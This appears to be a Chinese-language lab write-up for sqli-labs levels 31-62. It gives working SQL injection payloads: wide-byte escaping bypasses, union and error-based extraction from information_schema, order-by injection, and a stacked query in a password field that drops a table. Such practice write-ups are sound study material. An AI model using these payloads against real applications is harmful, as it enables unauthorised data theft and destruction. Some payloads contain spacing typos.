sqli-labs 31-65关

sqli-labs 31-65关
Less-31:
双引号加括号闭合，详29关。
Less-32：
可以进行尝试payload为：
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3–+
可以看到绕过了对于 ’ 的过滤。考虑backgroud的第一个思路，添加一个%df 后，将%5c 吃掉即可。
Less-33：
参考上一关。
Less-34：
同32关一样，使用%df构造编码，绕过反斜杠。
这一关需要登录上去才能获得显示位，不知为什么就是登录不上？？
Less-36：
此关和33关大致是一样的，唯一的区别在于sql语句不同。
区别就是 id 没有被’“符号包括起来，那我们就没有必要去考虑 check_addslashes()函数的意 义了，直接提交 payload： http://127.0.0.1/sqli-labs/Less-35/?id=-1%20%20union%20select%201,user(),3–+
Less-36：
宽字节注入
Less-37：
详34关。
Less-38：
堆叠查询，正常联合注入，
Less-39：
不用闭合的联合注入。
Less-40：
联合查询')闭合。
Less-41：
联合注入，没有闭合。
?id=0 union select 1,database(),3--+
Less-42：
Password变量在 post 过程中，没有通过 mysql_real_escape_string()函数的处理。因此在登录 的时候密码选项我们可以进行 attack。
登录用户名随意 密码登录用以下的方式 c’;droptableme# （删除 me 表） c’;createtablemelikeusers# （创建一个 me 的表）
Less-43：
此关为 ')闭合。
Less-44：
见42关。
Less-45：
见43关。
Less-46：
从本关开始，将开始学习 order by 相关注入的知识。 本关的 sql 语句为$sql = “SELECT * FROM users ORDER BY $id”; 尝试?sort=1 desc 或者 asc，显示结果不同，则表明可以注入。（升序 or 降序排列） 从上述的 sql 语句中我们可以看出，我们的注入点在 order by 后面的参数中，而 order by 不同于的我们在 where 后的注入点，不能使用 union 等进行注入。
（1）、order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句，让 该语句执行结果为一个数，我们尝试 http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1) 没有报错，但是 right 换成 left 都一样，说明数字没有起作用，我们考虑布尔类型。此时我 们可以用报错注入和延时注入。 此处可以直接构造 ?sort= 后面的一个参数。此时，我们可以有三种形式，
①直接添加注入语句，?sort=(select ******)
②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
③利用 and，例如?sort=1 and (加 sql 语句)。 同时，sql 语句可以利用报错注入和延时注入的方式，语句我们可以很灵活的构造。
Less-47：
见46关，单引号闭合。
Less-48：
见46关，但不需要盲注。
49~53基本都是。
Less-54：
直接联合注入，
?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
Less-55：
同54关，基于小括号。
Less-56：
同 Less 54。基于小括号_单引号
Less-57：
同 Less 54。基于 _双引号_字符型
Less-58:
执行 sql 语句后，并没有返回数据库当中的数据，所以我们这里不能使用 union 联合注入， 这里使用报错注入。
Payload：http://127.0.0.1/sqli-labs/Less-58/?id=-1’union select extractvalue(1,concat(0x7e,(sel ect group_concat(table_name) from information_schema.tables where table_schema=‘challe nges’),0x7e))–+
59~60见58.
Less-61:
见58关，闭合方式不同。
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
Less-62
这关联合注入和报错注入都不行，盲注。